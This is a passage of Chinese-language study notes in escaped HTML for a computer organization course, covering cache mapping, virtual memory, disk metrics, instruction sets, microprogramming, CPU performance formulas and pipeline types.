href=\"https://hawa130.com/archives/796/\"\u003e计组期中复习笔记\u003c/a\u003e。\u003c/p\u003e\u003ch2 id=\"toc_12\"\u003e存储系统\u003c/h2\u003e\u003ch3 id=\"toc_13\"\u003e常用半导体存储器\u003c/h3\u003e\u003cul\u003e\u003cli\u003e\u003cp\u003eRAM\u003c/p\u003e\u003cul\u003e\u003cli\u003eSRAM (速度最快)\u003c/li\u003e\u003cli\u003eDRAM → SDRAM → DDR SDRAM(DDR2、DDR3、DDR4、DDR5)\u003c/li\u003e\u003c/ul\u003e\u003c/li\u003e\u003cli\u003e\u003cp\u003eROM(虽然叫 Read-Only Memory,但是有的可以写)\u003c/p\u003e\u003cul\u003e\u003cli\u003eEPROM\u003c/li\u003e\u003cli\u003eE²PROM → Flash(NOR、NAND)\u003c/li\u003e\u003c/ul\u003e\u003c/li\u003e\u003c/ul\u003e\u003ch3 id=\"toc_14\"\u003e相联存储器\u003c/h3\u003e\u003cp\u003e其中任一存储项内容作为地址来存取的存储器。\u003c/p\u003e\u003cp\u003e用途:快速查找、地址变换\u003c/p\u003e\u003cp\u003e如:Cache 的地址映射表,页表中的快表(TB)、变换旁路缓冲器(TLB)\u003c/p\u003e\u003ch3 id=\"toc_15\"\u003e主存储器\u003c/h3\u003e\u003ch4 id=\"toc_16\"\u003e存储芯片的连接方式 ⭐️\u003c/h4\u003e\u003cul\u003e\u003cli\u003e\u003cp\u003e\u003cstrong\u003e字扩展\u003c/strong\u003e(字数的扩展,即地址的扩展)\u003c/p\u003e\u003cul\u003e\u003cli\u003e扩展的芯片不能同时选中\u003c/li\u003e\u003c/ul\u003e\u003c/li\u003e\u003cli\u003e\u003cp\u003e\u003cstrong\u003e位扩展\u003c/strong\u003e(位数的扩展)\u003c/p\u003e\u003cul\u003e\u003cli\u003e扩展的芯片可以同时选中\u003c/li\u003e\u003c/ul\u003e\u003c/li\u003e\u003cli\u003e\u003cstrong\u003e位数和字数同时扩展\u003c/strong\u003e\u003c/li\u003e\u003c/ul\u003e\u003ch4 id=\"toc_17\"\u003e用存储器芯片构成主存模块\u003c/h4\u003e\u003cul\u003e\u003cli\u003eSRAM(主存与 CPU 速度协调)\u003c/li\u003e\u003cli\u003eEPROM\u003c/li\u003e\u003cli\u003eE²PROM\u003c/li\u003e\u003cli\u003eSDRAM — 内存条\u003c/li\u003e\u003c/ul\u003e\u003ch4 id=\"toc_18\"\u003e多体交叉存储器\u003c/h4\u003e\u003col\u003e\u003cli\u003e多体并行访问\u003c/li\u003e\u003cli\u003e多体交叉访问(和流水线类似)\u003c/li\u003e\u003c/ol\u003e\u003ch3 id=\"toc_19\"\u003e高速缓冲存储器\u003c/h3\u003e\u003ch4 id=\"toc_20\"\u003e主存与 Cache 的地址映射 ⭐️\u003c/h4\u003e\u003cp\u003e以块为单位。\u003c/p\u003e\u003col\u003e\u003cli\u003e\u003cp\u003e\u003cstrong\u003e全相联\u003c/strong\u003e:主存的任意一块可以映像到 Cache 的任意一块。\u003c/p\u003e\u003cul\u003e\u003cli\u003eCache 地址:| Cache 块号 | 块内地址 |\u003c/li\u003e\u003cli\u003e主存地址:| 主存块号 Tag | 块内地址 |\u003c/li\u003e\u003cli\u003e变换:Cache 块号 $\\xrightarrow{目录表}$ 主存块号\u003c/li\u003e\u003c/ul\u003e\u003c/li\u003e\u003cli\u003e\u003cp\u003e\u003cstrong\u003e直接映射\u003c/strong\u003e:主存的每一块只能映像到 Cache 的一个特定块。\u003c/p\u003e\u003cul\u003e\u003cli\u003eCache 地址:| 块号 | 块内地址 |\u003c/li\u003e\u003cli\u003e主存地址:| 区号 Tag | 区内块号 Index | 块内地址 |\u003c/li\u003e\u003cli\u003e无需变换:\u0026lt;u\u0026gt;所访问的主存区号\u0026lt;/u\u0026gt;与\u0026lt;u\u0026gt;目录表中记录的主存区号\u0026lt;/u\u0026gt;相比较\u003c/li\u003e\u003c/ul\u003e\u003c/li\u003e\u003cli\u003e\u003cp\u003e\u003cstrong\u003e组相联\u003c/strong\u003e:组间直接映射,组内全相联。\u003c/p\u003e\u003cul\u003e\u003cli\u003eCache 组数 = 区内块数\u003c/li\u003e\u003cli\u003eCache 地址:| 组号 | 组内块号 | 块内地址 |\u003c/li\u003e\u003cli\u003e\u003cp\u003e主存地址(两种划分方法,看题目要求选择,一般用第二种)\u003c/p\u003e\u003cul\u003e\u003cli\u003e\u003cdel\u003e| 区号 | 区内组号 | 组内块号 | 块内地址 |\u003c/del\u003e\u003c/li\u003e\u003cli\u003e| 区号 Tag | 区内块号 Index | 块内地址 |\u003c/li\u003e\u003cli\u003e相联存储器容量 = 8 × (Tag 位数 + \u003cstrong\u003e1 位有效位\u003c/strong\u003e)\u003c/li\u003e\u003c/ul\u003e\u003c/li\u003e\u003c/ul\u003e\u003c/li\u003e\u003c/ol\u003e\u003ch4 id=\"toc_21\"\u003e替换算法\u003c/h4\u003e\u003cp\u003e直接映射无需替换算法(因为一次就替换全部)\u003c/p\u003e\u003cul\u003e\u003cli\u003e\u003cstrong\u003e随机替换算法\u003c/strong\u003e(RAND)\u003c/li\u003e\u003cli\u003e\u003cstrong\u003e先进先出替换算法\u003c/strong\u003e(FIFO)\u003c/li\u003e\u003cli\u003e最不经常使用(最少使用)替换算法(LFU):计数器位数多,实现困难\u003c/li\u003e\u003cli\u003e\u003cstrong\u003e近期最少使用(最久未用)替换算法\u003c/strong\u003e(LRU)\u003c/li\u003e\u003cli\u003e最佳替换算法(OPT)\u003c/li\u003e\u003c/ul\u003e\u003ch4 id=\"toc_22\"\u003e更新策略\u003c/h4\u003e\u003cul\u003e\u003cli\u003e写回法\u003c/li\u003e\u003cli\u003e写直达法(全写法)\u003c/li\u003e\u003c/ul\u003e\u003ch4 id=\"toc_23\"\u003eCache 性能测量\u003c/h4\u003e\u003cul\u003e\u003cli\u003e\u003cp\u003e\u003cstrong\u003e命中率\u003c/strong\u003e $h=\\frac{N_C}{N}\\times 100\\%$\u003c/p\u003e\u003cul\u003e\u003cli\u003e$N$:CPU 访问主存次数\u003c/li\u003e\u003cli\u003e$N_C$:CPU 访问命中 Cache 的次数\u003c/li\u003e\u003cli\u003e缺失率 $m=1-h$\u003c/li\u003e\u003c/ul\u003e\u003c/li\u003e\u003cli\u003e\u003cp\u003e\u003cstrong\u003e平均访问时间\u003c/strong\u003e $T_A=T_C+(1-h)\\times T_M$\u003c/p\u003e\u003cul\u003e\u003cli\u003e$T_C$:Cache 访问时间\u003c/li\u003e\u003cli\u003e$T_B$:数据块装入 Cache 的时间\u003c/li\u003e\u003cli\u003e$T_M$:主存访问时间,等于 $T_B+T_C$,而由于 $T_M\\gg T_c$,$T_B\\approx T_M$。\u003c/li\u003e\u003cli\u003e推导:$\\begin{align}T_A\u0026amp;=h\\times T_C+(1-h)\\times T_M \\\\ \u0026amp;=T_C+(1-h)\\times T_B \\\\ \u0026amp;=T_C+(1-h)\\times T_M\\end{align}$\u003c/li\u003e\u003c/ul\u003e\u003c/li\u003e\u003cli\u003e\u003cp\u003e\u003cstrong\u003e加速比\u003c/strong\u003e $S_P=\\frac{T_M}{T_A}=\\frac{T_M}{T_C+(1-h)\\times T_M}=\\frac{1}{1-h+\\frac{1}{r}}$\u003c/p\u003e\u003cul\u003e\u003cli\u003e$r=\\frac{T_M}{T_C}$\u003c/li\u003e\u003cli\u003e可见随着命中率 $h$ 的增大,加速比 $S$ 提高。\u003c/li\u003e\u003c/ul\u003e\u003c/li\u003e\u003cli\u003e\u003cp\u003e\u003cstrong\u003e成本\u003c/strong\u003e $C=(C_1\\times S_1+C_2\\times S_2)/(S_1+S_2)$\u003c/p\u003e\u003cul\u003e\u003cli\u003e$C_i$:价格,1 为主存,2 为 Cache\u003c/li\u003e\u003cli\u003e$S_i$:容量,1 为主存,2 为 Cache\u003c/li\u003e\u003cli\u003e$S_1\\gg S_2$\u003c/li\u003e\u003c/ul\u003e\u003c/li\u003e\u003c/ul\u003e\u003ch4 id=\"toc_24\"\u003eCache 性能提升\u003c/h4\u003e\u003col\u003e\u003cli\u003e多级 Cache 结构\u003c/li\u003e\u003cli\u003e\u003cp\u003e降低 Cache 的缺失率\u003c/p\u003e\u003col\u003e\u003cli\u003e\u003cp\u003e缺失类型\u003c/p\u003e\u003cul\u003e\u003cli\u003e强制缺失:第一次访问\u003c/li\u003e\u003cli\u003e容量缺失:容量有限,不包含所需的所有主存块(增大 Cache 容量可减少)\u003c/li\u003e\u003cli\u003e冲突缺失:主要发生在直接映射\u003c/li\u003e\u003c/ul\u003e\u003c/li\u003e\u003cli\u003e合理设计 Cache 块尺寸\u003c/li\u003e\u003cli\u003e合理增加 Cache 容量\u003c/li\u003e\u003cli\u003e合理设置相联度\u003c/li\u003e\u003cli\u003e硬件预取(可解决强制缺失)\u003c/li\u003e\u003cli\u003e编译优化\u003c/li\u003e\u003c/ol\u003e\u003c/li\u003e\u003cli\u003e减少 Cache 开销\u003c/li\u003e\u003c/ol\u003e\u003ch3 id=\"toc_25\"\u003e虚拟存储器\u003c/h3\u003e\u003cblockquote\u003e\u003cp\u003e其实和 Cache 那块内容很相似。\u003c/p\u003e\u003c/blockquote\u003e\u003cul\u003e\u003cli\u003e地址映射:全相连\u003c/li\u003e\u003cli\u003e地址变换:MMU\u003c/li\u003e\u003cli\u003e\u003cp\u003e页式虚拟存储器 ⭐️\u003c/p\u003e\u003cul\u003e\u003cli\u003e\u003cp\u003e多级页表\u003c/p\u003e\u003cul\u003e\u003cli\u003e虚地址:| 虚页号 (V 位) | 页面偏移 (P 位) |\u003c/li\u003e\u003cli\u003e$\\left(\\frac{2^P}{m}\\right)^i=2^V$\u003c/li\u003e\u003cli\u003e\u003cp\u003e页表级数 $i=\\left\\lceil\\frac{V}{P-\\log_2m}\\right\\rceil $\u003c/p\u003e\u003cul\u003e\u003cli\u003e$P$:页面偏移的位数\u003c/li\u003e\u003cli\u003e$V$:虚页号的位数\u003c/li\u003e\u003cli\u003e$m$:页表项编址单元位数\u003c/li\u003e\u003c/ul\u003e\u003c/li\u003e\u003c/ul\u003e\u003c/li\u003e\u003cli\u003e\u003cp\u003e快慢表\u003c/p\u003e\u003cul\u003e\u003cli\u003e快表:CPU 内部的 TLB\u003c/li\u003e\u003cli\u003e慢表:主存中的页表\u003c/li\u003e\u003c/ul\u003e\u003c/li\u003e\u003cli\u003e实存空间、虚存空间、页面大小(决定页面偏移位数)\u003c/li\u003e\u003c/ul\u003e\u003c/li\u003e\u003c/ul\u003e\u003ch3 id=\"toc_26\"\u003e外部存储器(辅助存储器)\u003c/h3\u003e\u003ch4 id=\"toc_27\"\u003e磁表面存储原理及记录方式\u003c/h4\u003e\u003cp\u003e$$\\text{编码效率}η=\\frac{\\text{位密度}}{\\text{最大磁化翻转次数}}$$\u003c/p\u003e\u003cp\u003e\u003cfigure\u003e\u003cimg class=\"\" alt=\"磁记录方式及性能评价\" data-src=\"https://upload.hawa130.com/2022/06/image-20220623204209986.png#vwid=1426\u0026vhei=748\" src=\"https://upload.hawa130.com/2022/06/image-20220623204209986.png#vwid=1426\u0026vhei=748\"\u003e\u003cfigcaption\u003e磁记录方式及性能评价\u003c/figcaption\u003e\u003c/figure\u003e\u003c/p\u003e\u003ch4 id=\"toc_28\"\u003e磁盘存储器\u003c/h4\u003e\u003cul\u003e\u003cli\u003e\u003cp\u003e磁盘结构\u003c/p\u003e\u003cul\u003e\u003cli\u003e磁道(记录面的同心圆)\u003c/li\u003e\u003cli\u003e扇区(磁道的段)\u003c/li\u003e\u003cli\u003e柱面(相同序号的磁道构成的圆柱面)\u003c/li\u003e\u003c/ul\u003e\u003c/li\u003e\u003cli\u003e数据应尽可能放在同一柱面或者相邻柱面,缩短寻道时间\u003c/li\u003e\u003cli\u003e\u003cp\u003e\u003cstrong\u003e技术指标\u003c/strong\u003e ⭐️\u003c/p\u003e\u003cul\u003e\u003cli\u003e道密度:道 / mm\u003c/li\u003e\u003cli\u003e位密度:bit / mm(最靠近中心的磁道)\u003c/li\u003e\u003cli\u003e\u003cstrong\u003e非格式化容量\u003c/strong\u003e = 位密度 × 内圈磁道周长 × 每个记录面磁道数 × 记录面数\u003c/li\u003e\u003cli\u003e\u003cstrong\u003e格式化容量\u003c/strong\u003e = 每个扇区的字节数 × 每道道扇区数 × 每个记录面磁道数 × 记录面数\u003c/li\u003e\u003cli\u003e\u003cp\u003e平均访问时间 = 平均寻道时间 + 平均等待时间 + 数据传输时间\u003c/p\u003e\u003cul\u003e\u003cli\u003e平均等待时间:磁盘旋转一周所用时间的一半\u003c/li\u003e\u003c/ul\u003e\u003c/li\u003e\u003cli\u003e转速:RPM(转 / 分钟)\u003c/li\u003e\u003cli\u003e数据传输速率 = 每个扇区的字节数 × 每道扇区数 × 磁盘转速\u003c/li\u003e\u003c/ul\u003e\u003c/li\u003e\u003cli\u003e与计算机主机的连接\u003c/li\u003e\u003c/ul\u003e\u003ch4 id=\"toc_29\"\u003e磁盘阵列 RAID\u003c/h4\u003e\u003cp\u003e由独立的磁盘组成的具有冗余特性的阵列。\u003c/p\u003e\u003ch2 id=\"toc_30\"\u003e指令系统\u003c/h2\u003e\u003ch3 id=\"toc_31\"\u003e存储模式\u003c/h3\u003e\u003cul\u003e\u003cli\u003e\u003cp\u003e\u003cstrong\u003e数据存储顺序\u003c/strong\u003e\u003c/p\u003e\u003cul\u003e\u003cli\u003e\u003cstrong\u003e大端存储\u003c/strong\u003e:最低有效字节存储在\u003cstrong\u003e最高\u003c/strong\u003e地址位置\u003c/li\u003e\u003cli\u003e\u003cstrong\u003e小端存储\u003c/strong\u003e:最低有效字节存储在\u003cstrong\u003e最低\u003c/strong\u003e地址位置\u003c/li\u003e\u003c/ul\u003e\u003c/li\u003e\u003cli\u003e\u003cp\u003e\u003cstrong\u003e边界对齐\u003c/strong\u003e\u003c/p\u003e\u003cul\u003e\u003cli\u003e16 位字长的数据:起始地址为 2 的整数倍。\u003c/li\u003e\u003cli\u003e32 位字长的数据:起始地址为 4 的整数倍。\u003c/li\u003e\u003cli\u003e64 位字长的数据:起始地址为 8 的整数倍。\u003c/li\u003e\u003c/ul\u003e\u003c/li\u003e\u003cli\u003e\u003cp\u003e\u003cstrong\u003e堆栈\u003c/strong\u003e\u003c/p\u003e\u003cul\u003e\u003cli\u003ePUSH 操作:$\\text{(SP)}-i\\to\\text{SP},\\text{(R1)}\\to\\text{M}_\\text{SP}$\u003c/li\u003e\u003cli\u003ePOP 操作:$\\text{M}_\\text{SP}\\to\\text{(R1)},\\text{(SP)}+i\\to\\text{SP}$\u003c/li\u003e\u003c/ul\u003e\u003c/li\u003e\u003cli\u003e\u003cp\u003e冯诺伊曼结构和哈佛结构\u003c/p\u003e\u003cul\u003e\u003cli\u003e前者数据和指令存一起,后者数据指令分开存\u003c/li\u003e\u003c/ul\u003e\u003c/li\u003e\u003c/ul\u003e\u003ch3 id=\"toc_32\"\u003e指令类型\u003c/h3\u003e\u003cul\u003e\u003cli\u003e数据传送类(MOV)\u003c/li\u003e\u003cli\u003e\u003cp\u003e运算类\u003c/p\u003e\u003cul\u003e\u003cli\u003e算术运算类\u003c/li\u003e\u003cli\u003e逻辑运算类\u003c/li\u003e\u003c/ul\u003e\u003c/li\u003e\u003cli\u003e\u003cp\u003e输入/输出类\u003c/p\u003e\u003cul\u003e\u003cli\u003e统一编址的情况\u003c/li\u003e\u003cli\u003e独立编址的情况\u003c/li\u003e\u003c/ul\u003e\u003c/li\u003e\u003cli\u003e\u003cp\u003e程序控制类\u003c/p\u003e\u003cul\u003e\u003cli\u003e转移指令\u003c/li\u003e\u003cli\u003e循环控制指令\u003c/li\u003e\u003cli\u003e过程调用和返回指令\u003c/li\u003e\u003cli\u003e程序自中断指令\u003c/li\u003e\u003c/ul\u003e\u003c/li\u003e\u003cli\u003e系统控制类(通常是特权指令,虚存管理、任务切换、改变处理器工作模式)\u003c/li\u003e\u003c/ul\u003e\u003ch3 id=\"toc_33\"\u003e指令设计\u003c/h3\u003e\u003ch4 id=\"toc_34\"\u003e指令格式\u003c/h4\u003e\u003cp\u003e二地址指令:| 操作码 | 地址码 1 | 地址码 2 |\u003c/p\u003e\u003cp\u003e还有一地址指令、零地址指令……\u003c/p\u003e\u003cul\u003e\u003cli\u003e定长操作码\u003c/li\u003e\u003cli\u003e变长操作码(扩展操作码)\u003c/li\u003e\u003c/ul\u003e\u003ch3 id=\"toc_35\"\u003e操作码设计\u003c/h3\u003e\u003cul\u003e\u003cli\u003e\u003cp\u003e\u003cstrong\u003e定长操作码\u003c/strong\u003e\u003c/p\u003e\u003cul\u003e\u003cli\u003e$N$ 条指令,所有指令均用 $n$ 位编码:$N\\le 2^n$。\u003c/li\u003e\u003c/ul\u003e\u003c/li\u003e\u003cli\u003e\u003cp\u003e\u003cstrong\u003e变长操作码\u003c/strong\u003e ⭐️\u003c/p\u003e\u003cul\u003e\u003cli\u003e\u003cstrong\u003e原则\u003c/strong\u003e:短码不能是长码的前缀\u003c/li\u003e\u003cli\u003e\u003cstrong\u003e扩展操作码设计\u003c/strong\u003e\u003c/li\u003e\u003cli\u003e\u003cstrong\u003e平均码长\u003c/strong\u003e:$\\sum_{i=1}^n p_i\\times l_i$\u003c/li\u003e\u003cli\u003e\u003cp\u003e设计\u003c/p\u003e\u003cul\u003e\u003cli\u003e霍夫曼编码\u003c/li\u003e\u003cli\u003e特定规则\u003c/li\u003e\u003cli\u003e地址码数量\u003c/li\u003e\u003c/ul\u003e\u003c/li\u003e\u003c/ul\u003e\u003c/li\u003e\u003c/ul\u003e\u003ch3 id=\"toc_36\"\u003e寻址方式\u003c/h3\u003e\u003col\u003e\u003cli\u003e\u003cstrong\u003e隐含寻址\u003c/strong\u003e:操作数的位置默认,无需给出。\u003c/li\u003e\u003cli\u003e\u003cstrong\u003e立即寻址\u003c/strong\u003e:操作数在指令中。\u003c/li\u003e\u003cli\u003e\u003cstrong\u003e寄存器寻址\u003c/strong\u003e:操作数在指令指定的寄存器中。\u003c/li\u003e\u003cli\u003e\u003cstrong\u003e直接寻址\u003c/strong\u003e:操作数在主存中,主存地址在指令中。\u003c/li\u003e\u003cli\u003e\u003cstrong\u003e寄存器间接寻址\u003c/strong\u003e:操作数在主存中,主存地址在指令指定的寄存器中。\u003c/li\u003e\u003cli\u003e\u003cstrong\u003e相对寻址\u003c/strong\u003e:跳转目标地址 $\\text{EA}=\\text{(PC)}+\\text{A}$\u003c/li\u003e\u003cli\u003e\u003cstrong\u003e基址寻址\u003c/strong\u003e:操作数在主存中,$\\text{EA}=\\text{(基址寄存器)}+\\text{A}$\u003c/li\u003e\u003c/ol\u003e\u003ch3 id=\"toc_37\"\u003e指令系统结构的发展\u003c/h3\u003e\u003ch4 id=\"toc_38\"\u003e复杂指令集计算机 CISC\u003c/h4\u003e\u003cul\u003e\u003cli\u003e用一条指令代替一串指令\u003c/li\u003e\u003cli\u003e增加新的指令\u003c/li\u003e\u003cli\u003e增强指令功能\u003c/li\u003e\u003cli\u003e设置功能复杂的指令\u003c/li\u003e\u003cli\u003e增加寻址方式增加数据表示方式\u003c/li\u003e\u003c/ul\u003e\u003ch4 id=\"toc_39\"\u003e精简指令集计算机 RISC\u003c/h4\u003e\u003cul\u003e\u003cli\u003e\u003cp\u003e指令系统简单\u003c/p\u003e\u003cul\u003e\u003cli\u003e指令条数少、格式少、长度固定、功能简单\u003c/li\u003e\u003cli\u003e寻址方式少\u003c/li\u003e\u003cli\u003e采用硬布线控制逻辑(不用或少用微程序控制)\u003c/li\u003e\u003c/ul\u003e\u003c/li\u003e\u003cli\u003e\u003cp\u003eLoad/Store结构\u003c/p\u003e\u003cul\u003e\u003cli\u003e只有LOAD和STORE指令可以访问存储器\u003c/li\u003e\u003cli\u003e寄存器多\u003c/li\u003e\u003cli\u003e寄存器窗口技术\u003c/li\u003e\u003c/ul\u003e\u003c/li\u003e\u003cli\u003e\u003cp\u003e十分重视提高流水线的执行效率\u003c/p\u003e\u003cul\u003e\u003cli\u003e大部分指令可以单周期执行完成\u003c/li\u003e\u003cli\u003e延迟转移技术\u003c/li\u003e\u003cli\u003e指令流调整技术\u003c/li\u003e\u003c/ul\u003e\u003c/li\u003e\u003cli\u003e十分强调优化编译技术的作用\u003c/li\u003e\u003c/ul\u003e\u003ch2 id=\"toc_40\"\u003e中央处理器(CPU)\u003c/h2\u003e\u003ch3 id=\"toc_41\"\u003eCPU 的内部结构\u003c/h3\u003e\u003cp\u003e\u003cfigure\u003e\u003cimg class=\"\" alt=\"单总线数据通路CPU内部结构图\" data-src=\"https://upload.hawa130.com/2022/06/image-20220623204103147.png#vwid=1406\u0026vhei=1002\" src=\"https://upload.hawa130.com/2022/06/image-20220623204103147.png#vwid=1406\u0026vhei=1002\"\u003e\u003cfigcaption\u003e单总线数据通路CPU内部结构图\u003c/figcaption\u003e\u003c/figure\u003e\u003c/p\u003e\u003ch3 id=\"toc_42\"\u003e微操作与微命令\u003c/h3\u003e\u003cp\u003e\u003cstrong\u003e微操作\u003c/strong\u003e:CPU 的原子操作,以含有一个寄存器的传递操作为标志。如:$\\text{AR}\\gets\\text{PC}$\u003c/p\u003e\u003cp\u003e\u003cstrong\u003e微命令\u003c/strong\u003e:控制微操作完成的控制信号,由控制器产生。如:$\\text{PC}_\\text{out},\\text{AR}_\\text{in}$\u003c/p\u003e\u003ch4 id=\"toc_43\"\u003e微操作流程\u003c/h4\u003e\u003col\u003e\u003cli\u003e\u003cp\u003e时序信号产生\u003c/p\u003e\u003cul\u003e\u003cli\u003e指令周期:完成一条指令\u003c/li\u003e\u003cli\u003eCPU 周期:完成一个子周期\u003c/li\u003e\u003cli\u003e节拍周期:完成一个微操作\u003c/li\u003e\u003c/ul\u003e\u003c/li\u003e\u003cli\u003e\u003cp\u003e取址周期\u003c/p\u003e\u003cul\u003e\u003cli\u003e\u003cp\u003e一个简单的取址周期可由 3 个步骤、4 个微操作组成\u003c/p\u003e\u003cul\u003e\u003cli\u003eT1: $\\text{AR}\\gets\\text{PC}$\u003c/li\u003e\u003cli\u003eT2: $\\text{DR}\\gets\\text{Memory[AR]}$\u003c/li\u003e\u003cli\u003eT3: $\\text{PC}\\gets\\text{PC}+\\text{I},\\text{IR}\\gets\\text{DR}$($\\text{I}$ 为指令长度 byte)\u003c/li\u003e\u003c/ul\u003e\u003c/li\u003e\u003c/ul\u003e\u003c/li\u003e\u003c/ol\u003e\u003ch3 id=\"toc_44\"\u003e微程序控制器设计\u003c/h3\u003e\u003ch4 id=\"toc_45\"\u003e微指令\u003c/h4\u003e\u003cp\u003e\u003cstrong\u003e微指令\u003c/strong\u003e:一个节拍内出现的一组微操作进行描述的语句。\u003c/p\u003e\u003cp\u003e\u003cstrong\u003e微程序 / 固件\u003c/strong\u003e:一个微指令序列。\u003c/p\u003e\u003ch4 id=\"toc_46\"\u003e微指令设计\u003c/h4\u003e\u003cul\u003e\u003cli\u003e\u003cp\u003e微指令地址的生成\u003c/p\u003e\u003cul\u003e\u003cli\u003e两地址方式(断定方式)\u003c/li\u003e\u003cli\u003e单地址方式(计数方式,增量方式)\u003c/li\u003e\u003cli\u003e可变格式\u003c/li\u003e\u003c/ul\u003e\u003c/li\u003e\u003cli\u003e\u003cp\u003e编码\u003c/p\u003e\u003cul\u003e\u003cli\u003e水平型:多个微操作同时发生\u003c/li\u003e\u003cli\u003e垂直型:类似于机器指令\u003c/li\u003e\u003c/ul\u003e\u003c/li\u003e\u003cli\u003e\u003cstrong\u003e相容性\u003c/strong\u003e:可在同一时间有效的控制信号。\u003c/li\u003e\u003cli\u003e\u003cstrong\u003e互斥性\u003c/strong\u003e:不能在同一时间有效的控制信号。\u003c/li\u003e\u003c/ul\u003e\u003ch4 id=\"toc_47\"\u003e微程序设计 ⭐️\u003c/h4\u003e\u003cp\u003e看例题。\u003c/p\u003e\u003ch3 id=\"toc_48\"\u003eCPU 性能测量与提高\u003c/h3\u003e\u003ch4 id=\"toc_49\"\u003eCPU 性能测量 ⭐️\u003c/h4\u003e\u003cul\u003e\u003cli\u003e\u003cp\u003e\u003cstrong\u003eCPU 时间\u003c/strong\u003e $T_\\text{CPU}=N\\times T_\\text{CLK}=\\frac{N}{f_\\text{CLK}}$\u003c/p\u003e\u003cul\u003e\u003cli\u003e$N$:CPU 时钟周期数\u003c/li\u003e\u003cli\u003e$T_\\text{CLK}$:时钟周期时间\u003c/li\u003e\u003cli\u003e$f_\\text{CLK}$:时钟频率\u003c/li\u003e\u003c/ul\u003e\u003c/li\u003e\u003cli\u003e\u003cp\u003e\u003cstrong\u003eCPI\u003c/strong\u003e:每条指令执行所用时钟数。\u003c/p\u003e\u003cul\u003e\u003cli\u003e$I$:指令数\u003c/li\u003e\u003cli\u003e$CPI=\\frac{1}{I}\\sum_{i=1}^n (CPI_i\\times I_i)=\\sum_{i=1}^n (\\frac{I_i}{I}\\times CPI_i)$\u003c/li\u003e\u003cli\u003e$T_\\text{CPU}=I\\times CPI\\times T_\\text{CLK}=\\frac{I\\times CPI}{f_\\text{CLK}}$\u003c/li\u003e\u003c/ul\u003e\u003c/li\u003e\u003cli\u003e\u003cstrong\u003eIPC\u003c/strong\u003e:每时钟周期执行的指令数\u003c/li\u003e\u003cli\u003e\u003cp\u003e\u003cstrong\u003eMIPS\u003c/strong\u003e:每秒钟执行的百万指令数\u003c/p\u003e\u003cul\u003e\u003cli\u003e$T$:执行时间\u003c/li\u003e\u003cli\u003e$MIPS=\\frac{I}{T\\times 10^6}=\\frac{f_\\text{CLK}}{CPI\\times 10^6}$\u003c/li\u003e\u003c/ul\u003e\u003c/li\u003e\u003cli\u003e\u003cp\u003e\u003cstrong\u003eFLOPS\u003c/strong\u003e:每秒钟完成的浮点运算次数\u003c/p\u003e\u003cul\u003e\u003cli\u003e$M$:浮点运算次数\u003c/li\u003e\u003cli\u003e$FLOPS=\\frac{M}{T}$\u003c/li\u003e\u003cli\u003e度量单位:\u003cstrong\u003eM\u003c/strong\u003eFLOPS、\u003cstrong\u003eG\u003c/strong\u003eFLOPS、\u003cstrong\u003eT\u003c/strong\u003eFLOPS…\u003c/li\u003e\u003c/ul\u003e\u003c/li\u003e\u003c/ul\u003e\u003ch4 id=\"toc_50\"\u003e提高 CPU 速度的策略\u003c/h4\u003e\u003cul\u003e\u003cli\u003e多核技术\u003c/li\u003e\u003cli\u003e多线程技术\u003c/li\u003e\u003c/ul\u003e\u003ch2 id=\"toc_51\"\u003e流水线技术与指令级并行\u003c/h2\u003e\u003ch3 id=\"toc_52\"\u003e流水线处理的概念\u003c/h3\u003e\u003cp\u003e若将一重复的处理过程分解为若干子过程,每个子过程都可在专用设备构成的流水线功能段上实现,并可与其它子过程同时执行,这种技术称为\u003cstrong\u003e流水技术\u003c/strong\u003e。\u003c/p\u003e\u003ch4 id=\"toc_53\"\u003e流水线的类型\u003c/h4\u003e\u003cul\u003e\u003cli\u003e\u003cp\u003e\u003cstrong\u003e按流水线位于计算机系统的层次划分\u003c/strong\u003e\u003c/p\u003e\u003cul\u003e\u003cli\u003e系统级流水线 / 宏流水线(多计算机系统串行)\u003c/li\u003e\u003cli\u003e处理器级流水线\u003c/li\u003e\u003cli\u003e部件级流水线\u003c/li\u003e\u003c/ul\u003e\u003c/li\u003e\u003cli\u003e\u003cp\u003e\u003cstrong\u003e按流水线功能的强弱划分\u003c/strong\u003e\u003c/p\u003e\u003cul\u003e\u003cli\u003e单功能流水线\u003c/li\u003e\u003cli\u003e\u003cp\u003e多功能流水线\u003c/p\u003e\u003cul\u003e\u003cli\u003e静态流水线\u003c/li\u003e\u003cli\u003e动态流水线\u003c/li\u003e\u003c/ul\u003e\u003c/li\u003e\u003c/ul\u003e\u003c/li\u003e\u003cli\u003e\u003cp\u003e\u003cstrong\u003e按流水线是否有反馈回路划分\u003c/strong\u003e\u003c/p\u003e\u003cul\u003e\u003cli\u003e线性流水线\u003c/li\u003e\u003cli\u003e非线性流水线(需要流水线调度)\u003c/li\u003e\u003c/ul\u003e\u003c/li\u003e\u003cli\u003e\u003cp\u003e\u003cstrong\u003e按流水线输出端任务流出顺序与输入端任务流入顺序是否相同划分\u003c/strong\u003e\u003c/p\u003e\u003cul\u003e\u003cli\u003e顺序流动流水线(入出顺序相同)\u003c/li\u003e\u003cli\u003e\u003cp\u003e异步流动流水线(入出顺序不同)\u003c/p\u003e\u003cul\u003e\u003cli\u003e无序流水线\u003c/li\u003e\u003cli\u003e错序流水线\u003c/li\u003e\u003cli\u003e乱序流水线\u003c/li\u003e\u003c/ul\u003e\u003c/li\u003e\u003c/ul\u003e\u003c/li\u003e\u003cli\u003e\u003cp\u003e\u003cstrong\u003e按流水线一次处理对象的数量划分\u003c/strong\u003e\u003c/p\u003e\u003cul\u003e\u003cli\u003e标量流水线\u003c/li\u003e\u003cli\u003e超标量流水线\u003c/li\u003e\u003cli\u003e向量流水线\u003c/li\u003e\u003cli\u003e超长指令字流水线\u003c/li\u003e\u003c/ul\u003e\u003c/li\u003e\u003c/ul\u003e\u003ch3 id=\"toc_54\"\u003e浮点运算流水线\u003c/h3\u003e\u003ch4 id=\"toc_55\"\u003e浮点加减 / 乘除流水线\u003c/h4\u003e\u003col\u003e\u003cli\u003e阶码比较\u003c/li\u003e\u003cli\u003e尾数对齐\u003c/li\u003e\u003cli\u003e尾数加 / 减\u003c/li\u003e\u003cli\u003e规格化\u003c/li\u003e\u003c/ol\u003e\u003ch3 id=\"toc_56\"\u003e指令流水线\u003c/h3\u003e\u003ch4 